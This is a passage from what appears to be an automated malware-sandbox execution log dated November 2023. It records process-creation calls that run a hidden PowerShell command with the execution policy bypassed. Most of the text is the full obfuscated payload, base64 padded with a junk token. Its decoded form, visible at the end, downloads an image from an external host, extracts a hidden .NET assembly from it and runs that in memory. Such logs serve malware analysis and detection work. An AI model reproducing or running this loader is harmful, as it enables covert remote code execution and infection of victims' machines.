KuUwB0zUbPÇKuHIzUbPÇKuaQBuzUbPÇKuGczUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBCzUbPÇKuHkzUbPÇKudzUbPÇKuBlzUbPÇKuHMzUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBTzUbPÇKuFQzUbPÇKuQQBSzUbPÇKuFQzUbPÇKuPgzUbPÇKu+zUbPÇKuCczUbPÇKuOwzUbPÇKukzUbPÇKuGUzUbPÇKubgBkzUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBFzUbPÇKuE4zUbPÇKuRzUbPÇKuzUbPÇKu+zUbPÇKuD4zUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBUzUbPÇKuGUzUbPÇKuezUbPÇKuB0zUbPÇKuC4zUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuE8zUbPÇKuZgzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKuZQBuzUbPÇKuGQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuTwBmzUbPÇKuCgzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBGzUbPÇKuGwzUbPÇKuYQBnzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuHMzUbPÇKudzUbPÇKuBhzUbPÇKuHIzUbPÇKudzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKuZQzUbPÇKugzUbPÇKuDzUbPÇKuzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuCszUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuLgBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuYgBhzUbPÇKuHMzUbPÇKuZQzUbPÇKu2zUbPÇKuDQzUbPÇKuTzUbPÇKuBlzUbPÇKuG4zUbPÇKuZwB0zUbPÇKuGgzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBzzUbPÇKuHQzUbPÇKuYQByzUbPÇKuHQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuDszUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBTzUbPÇKuHUzUbPÇKuYgBzzUbPÇKuHQzUbPÇKucgBpzUbPÇKuG4zUbPÇKuZwzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuQwBvzUbPÇKuG4zUbPÇKudgBlzUbPÇKuHIzUbPÇKudzUbPÇKuBdzUbPÇKuDozUbPÇKuOgBGzUbPÇKuHIzUbPÇKubwBtzUbPÇKuEIzUbPÇKuYQBzzUbPÇKuGUzUbPÇKuNgzUbPÇKu0zUbPÇKuFMzUbPÇKudzUbPÇKuByzUbPÇKuGkzUbPÇKubgBnzUbPÇKuCgzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuGwzUbPÇKubwBhzUbPÇKuGQzUbPÇKuZQBkzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuUgBlzUbPÇKuGYzUbPÇKubzUbPÇKuBlzUbPÇKuGMzUbPÇKudzUbPÇKuBpzUbPÇKuG8zUbPÇKubgzUbPÇKuuzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQBdzUbPÇKuDozUbPÇKuOgBMzUbPÇKuG8zUbPÇKuYQBkzUbPÇKuCgzUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuB0zUbPÇKuHkzUbPÇKuczUbPÇKuBlzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKubzUbPÇKuBvzUbPÇKuGEzUbPÇKuZzUbPÇKuBlzUbPÇKuGQzUbPÇKuQQBzzUbPÇKuHMzUbPÇKuZQBtzUbPÇKuGIzUbPÇKubzUbPÇKuB5zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuVzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuozUbPÇKuCczUbPÇKuRgBpzUbPÇKuGIzUbPÇKuZQByzUbPÇKuC4zUbPÇKuSzUbPÇKuBvzUbPÇKuG0zUbPÇKuZQzUbPÇKunzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuG0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKudzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuuzUbPÇKuEczUbPÇKuZQB0zUbPÇKuE0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCgzUbPÇKuJwBWzUbPÇKuEEzUbPÇKuSQzUbPÇKunzUbPÇKuCkzUbPÇKuLgBJzUbPÇKuG4zUbPÇKudgBvzUbPÇKuGszUbPÇKuZQzUbPÇKuozUbPÇKuCQzUbPÇKubgB1zUbPÇKuGwzUbPÇKubzUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuWwBvzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuBbzUbPÇKuF0zUbPÇKuXQzUbPÇKugzUbPÇKuCgzUbPÇKuJwBkzUbPÇKuEgzUbPÇKuazUbPÇKuzUbPÇKuwzUbPÇKuEwzUbPÇKubQBWzUbPÇKuHUzUbPÇKuYgzUbPÇKuzzUbPÇKuHzUbPÇKuzUbPÇKueQBZzUbPÇKuFYzUbPÇKuYwzUbPÇKuxzUbPÇKuE4zUbPÇKuRzUbPÇKuBNzUbPÇKuHkzUbPÇKuTQBTzUbPÇKuDkzUbPÇKubzUbPÇKuBizUbPÇKuEczUbPÇKubzUbPÇKuBtzUbPÇKuEwzUbPÇKuegBJzUbPÇKuHgzUbPÇKuTQBpzUbPÇKuDQzUbPÇKuegBNzUbPÇKuFQzUbPÇKuRQB1zUbPÇKuE4zUbPÇKuVzUbPÇKuBjzUbPÇKuHgzUbPÇKuTzUbPÇKuBqzUbPÇKuGMzUbPÇKudwBNzUbPÇKuFMzUbPÇKuOzUbPÇKuB2zUbPÇKuE8zUbPÇKubgBCzUbPÇKuDzUbPÇKuzUbPÇKuZzUbPÇKuBHzUbPÇKuGczUbPÇKuPQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuDIzUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuMQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuQwzUbPÇKu6zUbPÇKuFwzUbPÇKuVwBpzUbPÇKuG4zUbPÇKuZzUbPÇKuBvzUbPÇKuHczUbPÇKucwBczUbPÇKuFQzUbPÇKuZQBtzUbPÇKuHzUbPÇKuzUbPÇKuXzUbPÇKuzUbPÇKunzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCkzUbPÇKuKQzUbPÇKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000055c	1	1
ShellExecuteExW Nov. 2, 2023, 10:05 a.m.	show_type: 0 filepath_r: powershell parameters: -command "$Codigo = 'JzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVQByzUbPÇKuGwzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwBozUbPÇKuHQzUbPÇKudzUbPÇKuBwzUbPÇKuHMzUbPÇKuOgzUbPÇKuvzUbPÇKuC8zUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuHUzUbPÇKuczUbPÇKuBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuC4zUbPÇKuaQBvzUbPÇKuC8zUbPÇKuaQBizUbPÇKuC8zUbPÇKuVwBKzUbPÇKuHYzUbPÇKuZQBYzUbPÇKuDczUbPÇKuMQBhzUbPÇKuGczUbPÇKubQBPzUbPÇKuFEzUbPÇKuNgBHzUbPÇKuHczUbPÇKuXwzUbPÇKuxzUbPÇKuDYzUbPÇKuOQzUbPÇKu4zUbPÇKuDczUbPÇKuNgzUbPÇKuyzUbPÇKuDYzUbPÇKuNzUbPÇKuzUbPÇKuyzUbPÇKuC4zUbPÇKuagBwzUbPÇKuGczUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKudwBlzUbPÇKuGIzUbPÇKuQwBszUbPÇKuGkzUbPÇKuZQBuzUbPÇKuHQzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuTgBlzUbPÇKuHczUbPÇKuLQBPzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuTgBlzUbPÇKuHQzUbPÇKuLgBXzUbPÇKuGUzUbPÇKuYgBDzUbPÇKuGwzUbPÇKuaQBlzUbPÇKuG4zUbPÇKudzUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuHczUbPÇKuZQBizUbPÇKuEMzUbPÇKubzUbPÇKuBpzUbPÇKuGUzUbPÇKubgB0zUbPÇKuC4zUbPÇKuRzUbPÇKuBvzUbPÇKuHczUbPÇKubgBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuEQzUbPÇKuYQB0zUbPÇKuGEzUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBVzUbPÇKuHIzUbPÇKubzUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKuuzUbPÇKuEUzUbPÇKubgBjzUbPÇKuG8zUbPÇKuZzUbPÇKuBpzUbPÇKuG4zUbPÇKuZwBdzUbPÇKuDozUbPÇKuOgBVzUbPÇKuFQzUbPÇKuRgzUbPÇKu4zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuUwB0zUbPÇKuHIzUbPÇKuaQBuzUbPÇKuGczUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBCzUbPÇKuHkzUbPÇKudzUbPÇKuBlzUbPÇKuHMzUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBTzUbPÇKuFQzUbPÇKuQQBSzUbPÇKuFQzUbPÇKuPgzUbPÇKu+zUbPÇKuCczUbPÇKuOwzUbPÇKukzUbPÇKuGUzUbPÇKubgBkzUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBFzUbPÇKuE4zUbPÇKuRzUbPÇKuzUbPÇKu+zUbPÇKuD4zUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBUzUbPÇKuGUzUbPÇKuezUbPÇKuB0zUbPÇKuC4zUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuE8zUbPÇKuZgzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKuZQBuzUbPÇKuGQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuTwBmzUbPÇKuCgzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBGzUbPÇKuGwzUbPÇKuYQBnzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuHMzUbPÇKudzUbPÇKuBhzUbPÇKuHIzUbPÇKudzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKuZQzUbPÇKugzUbPÇKuDzUbPÇKuzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuCszUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuLgBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuYgBhzUbPÇKuHMzUbPÇKuZQzUbPÇKu2zUbPÇKuDQzUbPÇKuTzUbPÇKuBlzUbPÇKuG4zUbPÇKuZwB0zUbPÇKuGgzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBzzUbPÇKuHQzUbPÇKuYQByzUbPÇKuHQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuDszUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBTzUbPÇKuHUzUbPÇKuYgBzzUbPÇKuHQzUbPÇKucgBpzUbPÇKuG4zUbPÇKuZwzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuQwBvzUbPÇKuG4zUbPÇKudgBlzUbPÇKuHIzUbPÇKudzUbPÇKuBdzUbPÇKuDozUbPÇKuOgBGzUbPÇKuHIzUbPÇKubwBtzUbPÇKuEIzUbPÇKuYQBzzUbPÇKuGUzUbPÇKuNgzUbPÇKu0zUbPÇKuFMzUbPÇKudzUbPÇKuByzUbPÇKuGkzUbPÇKubgBnzUbPÇKuCgzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuGwzUbPÇKubwBhzUbPÇKuGQzUbPÇKuZQBkzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuUgBlzUbPÇKuGYzUbPÇKubzUbPÇKuBlzUbPÇKuGMzUbPÇKudzUbPÇKuBpzUbPÇKuG8zUbPÇKubgzUbPÇKuuzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQBdzUbPÇKuDozUbPÇKuOgBMzUbPÇKuG8zUbPÇKuYQBkzUbPÇKuCgzUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuB0zUbPÇKuHkzUbPÇKuczUbPÇKuBlzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKubzUbPÇKuBvzUbPÇKuGEzUbPÇKuZzUbPÇKuBlzUbPÇKuGQzUbPÇKuQQBzzUbPÇKuHMzUbPÇKuZQBtzUbPÇKuGIzUbPÇKubzUbPÇKuB5zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuVzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuozUbPÇKuCczUbPÇKuRgBpzUbPÇKuGIzUbPÇKuZQByzUbPÇKuC4zUbPÇKuSzUbPÇKuBvzUbPÇKuG0zUbPÇKuZQzUbPÇKunzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuG0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKudzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuuzUbPÇKuEczUbPÇKuZQB0zUbPÇKuE0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCgzUbPÇKuJwBWzUbPÇKuEEzUbPÇKuSQzUbPÇKunzUbPÇKuCkzUbPÇKuLgBJzUbPÇKuG4zUbPÇKudgBvzUbPÇKuGszUbPÇKuZQzUbPÇKuozUbPÇKuCQzUbPÇKubgB1zUbPÇKuGwzUbPÇKubzUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuWwBvzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuBbzUbPÇKuF0zUbPÇKuXQzUbPÇKugzUbPÇKuCgzUbPÇKuJwBkzUbPÇKuEgzUbPÇKuazUbPÇKuzUbPÇKuwzUbPÇKuEwzUbPÇKubQBWzUbPÇKuHUzUbPÇKuYgzUbPÇKuzzUbPÇKuHzUbPÇKuzUbPÇKueQBZzUbPÇKuFYzUbPÇKuYwzUbPÇKuxzUbPÇKuE4zUbPÇKuRzUbPÇKuBNzUbPÇKuHkzUbPÇKuTQBTzUbPÇKuDkzUbPÇKubzUbPÇKuBizUbPÇKuEczUbPÇKubzUbPÇKuBtzUbPÇKuEwzUbPÇKuegBJzUbPÇKuHgzUbPÇKuTQBpzUbPÇKuDQzUbPÇKuegBNzUbPÇKuFQzUbPÇKuRQB1zUbPÇKuE4zUbPÇKuVzUbPÇKuBjzUbPÇKuHgzUbPÇKuTzUbPÇKuBqzUbPÇKuGMzUbPÇKudwBNzUbPÇKuFMzUbPÇKuOzUbPÇKuB2zUbPÇKuE8zUbPÇKubgBCzUbPÇKuDzUbPÇKuzUbPÇKuZzUbPÇKuBHzUbPÇKuGczUbPÇKuPQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuDIzUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuMQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuQwzUbPÇKu6zUbPÇKuFwzUbPÇKuVwBpzUbPÇKuG4zUbPÇKuZzUbPÇKuBvzUbPÇKuHczUbPÇKucwBczUbPÇKuFQzUbPÇKuZQBtzUbPÇKuHzUbPÇKuzUbPÇKuXzUbPÇKuzUbPÇKunzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCkzUbPÇKuKQzUbPÇKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath: powershell	1	1
CreateProcessInternalW Nov. 2, 2023, 10:05 a.m.	thread_identifier: 2440 thread_handle: 0x00000450 process_identifier: 2436 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/WJveX71agmOQ6Gw_1698762642.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = 